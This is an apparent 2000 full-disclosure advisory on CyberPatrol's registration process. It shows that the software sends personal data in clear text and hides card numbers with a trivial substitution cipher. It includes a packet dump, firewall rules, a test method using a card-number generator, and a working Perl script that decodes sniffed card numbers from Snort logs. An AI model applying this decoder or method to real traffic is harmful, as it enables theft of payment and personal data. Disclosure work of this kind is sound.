From: Joey Maier (maierj@HOME.COM) Date: Wed Nov 22 2000 - 14:41:25 CET CyberPatrol - poor credit card protection ***SUMMARY*** Product: Cyber Patrol vunerable versions: 4.04.003 & 4.04.005 (possibly all other versions) non-vunerable versions: unknown Vendor: Microsys (formerly owned by Mattel, now JSB) Vendor Contacted: Fri, 18 Aug 2000 11:52:20 -0500 (CDT) Fixes: None available Issue: All registration info except the credit card # is sent in clear text, and the card number is obfuscated with a trivial substitution cipher. Demonstration: A simple program written in Perl is included with this advisory; given logs from the Snort network sniffer, it will display full registration and credit card information. Authors: Joey Maier and Dan Kaminsky Initial Research: Joey Maier ***BACKGROUND*** CyberPatrol is a controversial but popular product for censoring family, library, and corporate computer systems against (ostensibly) sexual, hateful, or other forbidden categories of websites. (The liberties that CyberPatrol has taken with these categories, combined with their extensive legal actions against those who exposed such liberties, caused the Library of Congress to enact a special exemption defending those who CyberPatrol's authors were attacking. http://slashdot.org/yro/00/10/30/056213.shtml) ***DETAILS*** Registration for CyberPatrol is handled directly by the software, rather than through an SSL-encrypted web interface. The client, downloadable from http://www.cyberpatrol.com , presents the user with a registration form requesting standard information as well. Before any information is sent to Microsys, the client verifies that the credit card number qualifies as a valid Luhn number[1]. Assuming it is, the client sends the registration information to cybercentral.microsys.com (204.57.42.15) via normal http. (It uses a POST request.) The email address, expiration date of the credit card, name, address, and phone number are all sent in clear text, without any attempt to obfuscate or encrypt. (Please note that the form, which is illustrated at http://www.cyberpatrol.com/trial/reg_sof.htm, claims that "the above information will be scrambled before being sent".) The credit card information is not much better off: It is sent using an extraordinarily ineffective substitution cipher, equivalent to that which may be found in the games pages of many newspapers. This code is as follows: 0=z, 1={, 2=x, 3=y, 4=%7E, 5=., 6=|, 7=}, 8=r, 9=s The following is an example of a POST request which is destined for cybercentral.microsys.com (the card number was generated for this test only and was never submitted) =================================================================== 07/30-05:49:18.648744 192.168.23.13:1026 -> 204.57.42.15:80 TCP TTL:128 TOS:0xF8 ID:2048 DF ***PA* Seq: 0x2E92F Ack: 0x1BF0E567 Win: 0x2238 50 4F 53 54 20 2F 72 65 67 69 73 74 65 72 2F 20 POST /register/ 48 54 54 50 2F 31 2E 30 0D 0A 55 73 65 72 2D 41 HTTP/1.0..User-A 67 65 6E 74 3A 20 43 79 62 65 72 20 50 61 74 72 gent: Cyber Patr 6F 6C 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D ol..Accept: */*. 0A 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 .Content-type: a 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 pplication/x-www 2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 -form-urlencoded 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 ..Content-Length 3A 20 33 30 31 0D 0A 0D 0A 45 4D 41 49 4C 3D 6D : 301....EMAIL=m 61 69 65 72 6A 25 34 30 68 6F 6D 65 2E 63 6F 6D aierj%40home.com 26 43 41 52 44 3D 25 37 45 7B 78 72 25 37 45 7A &CARD=%7E{xr%7Ez 7D 72 7B 7D 7F 78 79 79 72 7A 26 45 58 50 3D 30 }r{}.xyyrz&EXP=0 39 30 32 26 4E 41 4D 45 3D 4A 6F 65 79 25 32 30 902&NAME=Joey%20 4D 61 69 65 72 26 41 44 44 52 31 3D 31 36 30 30 Maier&ADDR1=1600 25 32 30 50 65 6E 6E 73 79 6C 76 61 6E 69 61 25 %20Pennsylvania% 32 30 41 76 65 2E 25 32 30 4E 57 26 41 44 44 52 20Ave.%20NW&ADDR 32 3D 26 43 49 54 59 3D 57 61 73 68 69 6E 67 74 2=&CITY=Washingt 6F 6E 25 32 30 7C 25 32 30 44 43 25 32 30 7C 25 on%20|%20DC%20|% 32 30 32 30 35 30 30 25 32 30 7C 25 32 30 26 50 2020500%20|%20&P 48 4F 4E 45 3D 32 30 32 25 32 30 34 35 36 25 32 HONE=202%20456%2 30 31 34 31 34 26 53 49 54 45 25 32 30 53 4E 3D 01414&SITE%20SN= 37 31 34 31 26 4F 50 54 49 4F 4E 3D 31 26 50 52 7141&OPTION=1&PR 4F 44 55 43 54 3D 24 32 39 2E 39 35 25 32 30 50 ODUCT=$29.95%20P 72 6F 67 72 61 6D 25 32 30 77 25 32 46 25 32 30 rogram%20w%2F%20 33 25 32 30 6D 6F 2E 25 32 30 6C 69 73 74 26 43 3%20mo.%20list&C 4E 4F 54 3D 39 31 26 52 45 56 3D 34 2E 30 34 2E NOT=91&REV=4.04. 30 30 34 26 53 4F 55 52 43 45 3D 57 49 4E 2D 4D 004&SOURCE=WIN-M 53 49 2D 57 45 42 =================================================================== Similar information could be found in the logs of a corporate or educational proxy administrator; the important thing to note is the amount of personal information plainly visible along the right side of the sniffed request. Interestingly enough, it appears the client determines its own price. Oops. All that is required for an attacker to retrieve this information is for a sniffer to be placed upstream before 204.57.42.15, the IP address of Microsys's servers. Microsys has no method in place to detect, address, or reasonably frustrate such a sniffer. ***METHODOLOGY*** 1. Download and install CyberPatrol client. 2. Take a firewall with advancd configurability[2] and configure it to block PUSH-ACK and RST packets.[3] (This will allow the CyberPatrol client to do an nslookup and handshake through the firewall, but won't let it actually send the POST info to cybercentral.microsys.com. Test your rules first with a valid card you own; if you got them wrong, you want to find out without being accused of credit fraud.) 3. Execute a Luhn number generator (I used CreditMaster v. 4 from WTI) to generate some card numbers. 4. Start snort (http://www.snort.org) and use it to sniff the POST requests that the client is trying to send. 5. Try to register (If your firewall is properly blocking the POST request, this will fail and the cyberpatrol client will hang) 6. use the perl script below to parse the snort log and dump the credit card information to stdout in plain text. ***SUGGESTIONS*** users: Don't install this product until they fix their registration process. If you must install this product, consider using AntiSniff (http://www.l0pht.com/antisniff/) before hand to make sure there are no unauthorized sniffers running on your local network. vendor: You apparently lack cryptographic expertise onsite--accept this. Don't go out and attempt to merge in a commercial crypto toolkit or even OpenSSL--you don't have the time or the programming staff. Please, take advantage of the widespread deployment of SSL in the browser and have users register online through an SSL enabled form. Return a trivially encrypted code for them to paste or type into their client. I'd suggest adding a filetype or a MIMEType so users simply would have to click on a link to register your software, but you'd both run the risk of collisions and would have to be eternally vigilant against buffer overflows in your registration code--not something you want. Your worst case liability in this case is users stealing your software with forged registration codes--bad, but not as bad as losing your merchant account. It's just too easy for you to tell the OS to open a browser window to https://cybercentral.microsys.com for you to not use that solution. Your backend code won't even need to change--you just need to provide an HTML page with matching a matching form to your client. If your server doesn't already possess SSL support, you can install an SSL wrapper using the crossplatform stunnel package. ***HISTORY*** On Aug. 8 I called their help line and talked to a guy named Fidel. Very nice person, but he didn't listen to me. I said that registration information was sent in clear text - along with detailed information about your system configuration - and he insisted that they "scramble" this information. I uninstalled and reinstalled the product a few times, watched the registration process, and decided that I needed to contact microsys again, so I wrote an email explaining my concerns (clear text registration info and what appeared to be a weak CC# scheme). This email, and a snort log, were sent to the following vendor contact addresses on Fri, 18 Aug 2000 11:52:20 -0500 (CDT): >To: Admin@BRODER.COM, NetAdmin@BRODER.COM, help@mattelsupport.com, > security-alert@BRODER.COM, security-alert@mattelsupport.com, > secure@BRODER.COM, secure@mattelsupport.com, security@BRODER.COM, > security@mattelsupport.com, support@BRODER.COM, > support@mattelsupport.com,info@BRODER.COM, info@mattelsupport.com [...] > He told me that you don't store email > addresses or phone numbers with system information, and that any > information from the client was scrambled. Obviously this is not > true. > > While not a huge threat with the purchased version, the demo > version allows you to enter your credit card #, and I suspect that > it is sent the same way. I got a canned response on Mon, 21 Aug 2000 08:11:59 -0500 saying to call 319-247-3333 if I had technical questions. I called that day and talked to someone named Katie. She said her supervisor, Juan, would contact the development team and get back to me. She said they wanted to know how I had found this out. I had to explain what a sniffer was. They assigned this issue to case # 1530436 Friday, 8-25-00 I called them to see what was happening, and was told "We're researching it. We're trying to get a hold of development". I said I needed a contact who would tell me what was being done about this, so I knew something was being done. He said he'd email development today, and that I should expect to hear something by early next week. They still haven't contacted me. [It is now 11-22-00] ***RANTS*** It is totally irresponsible for a software vendor to dump security related issues to the same team of people who help users with installation issues. When someone reports a security vunerability, they should not have to talk to people who don't know what a sniffer is; they should be given a way to contact someone who understands the issue. [Added by Dan Kaminsky] Like many other examples before it, this case exemplifies how full disclosure in security vulnerabilities is critical. I want to know if my car is unsafe at any speed--I want to know if my food is poisonous--and I want to know if my software could ruin my credit. The secrecy that a thankfully small number of vendors pine for is merely the freedom to cut costs at their customer's expense, secure in the knowledge that the legal system will punish any who would dare to protect themselves and their fellow citizens. That's not freedom. That's not justice. And in the end--it's not in those vendors best interest: The backlash of heavy handed regulation they threaten to spawn will outweigh *any* other benefits they might seek. ***THANKS*** Thanks to Dan Kaminsky for providing many of the ideas I followed while researching this bug and writing this advisory. Also, thanks to the people who coded the tools I used: Martin Roesch (http://www.snort.org) Theo and the rest of the OpenBSD team. (http://www.openbsd.org) The IPF FAQ people (http://coombs.anu.edu.au/~avalon/) WTI (CreditMaster) [1] Credit cards are Luhn numbers. more info on the Luhn Formula can be found at: perl.about.com/compute/perl/library/weekly/aa080600a.htm perl.about.com/compute/perl/library/weekly/aa073000a.htm [2] Novell's BorderManager lacks advanced configurability. [3] These are the IPFilter rules used in the methodology described above. (Obviously, there's some redundancy here, but I wanted to err on the side of caution. The IPF gods among you can certainly produce a cleaner ruleset.) ============================================================== block in on ne1 proto tcp from any to any block in quick on ne1 proto tcp from any to any flags R block out quick on ne1 proto tcp from any to any flags R block in quick on ne0 proto tcp from any to any flags R block out quick on ne0 proto tcp from any to any flags R block in quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA block out quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA block in quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA block out quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA pass in quick on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24 pass out on ne1 proto tcp from any to cybercentral.microsys.com flags S pass in on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24 flags S/SA ============================================================== ***DEMONSTRATION*** Here's an example of the output from the perl script included below: $ ./cpetrol.pl EMAIL=maierj@home.com CARD=4128624250251572 EXP=0502 NAME=Joey Maier ADDR1=1600 Pennsylvania Ave. NW ADDR2= CITY=Washington | DC | 20500 | PHONE=202 456 1414 ################################################# # Name: cpetrol.pl # # Author: Joey Maier # # purpose: parse snort logs of cyberpatrol # registration and dump the registration # information (including the credit # card numbers) in plain text to # stdout. # # useage: ./cpetrol.pl # # requirements: You have to have a snort log # of the registration, it has # to be named "log", and it # needs to be in this directory # # Greets: Thanks to Dan Kaminsky for his # help in researching this bug. # ################################################# #!/usr/bin/perl $showline=0; open(SNORT, "log"); LINE:while($line=){ @field=split /\s/, $line; if($#field>0 && $#field<15){next LINE;} if(!($line=~/\w/)){ $registerinfo=~s/\%20/ /g; $registerinfo=~s/\%40/@/g; ($junk, $registerinfo)=split /\.\.\.\./, $registerinfo; @array=split /\&/, $registerinfo; if($array[0]=~/EMAIL/){print "$array[0]\n";} if($array[1]=~/CARD/){print "CARD=";} @chararray=split //, $array[1]; $arraylength=$#chararray; for($i=0; $i<$arraylength+1; ++$i){ if($chararray[$i]=~/\%/){ $checkchar="$chararray[$i]"; $checkchar.="$chararray[$i+1]"; $checkchar.="$chararray[$i+2]"; $i=$i+2; } else{$checkchar="$chararray[$i]";} if($checkchar=~/z/){print "0";} elsif($checkchar=~/{/){print "1";} elsif($checkchar=~/x/){print "2";} elsif($checkchar=~/y/){print "3";} elsif($checkchar=~/\%7E/){print "4";} elsif($checkchar=~/\./){print "5";} elsif($checkchar=~/\|/){print "6";} elsif($checkchar=~/\}/){print "7";} elsif($checkchar=~/r/){print "8";} elsif($checkchar=~/s/){print "9";} } if($array[2]=~/EXP/){print "\n$array[2]\n";} if($array[3]=~/NAME/){print "$array[3]\n";} if($array[4]=~/ADDR1/){print "$array[4]\n";} if($array[5]=~/ADDR2/){print "$array[5]\n";} if($array[6]=~/CITY/){print "$array[6]\n";} if($array[7]=~/PHONE/){print "$array[7]\n\n\n";} $registerinfo=""; $showline=0; } if($line=~/POST/){$showline=1} if($showline eq 1){ ($junk, $line)=split / /, $line; chomp($line); $registerinfo.=$line; } }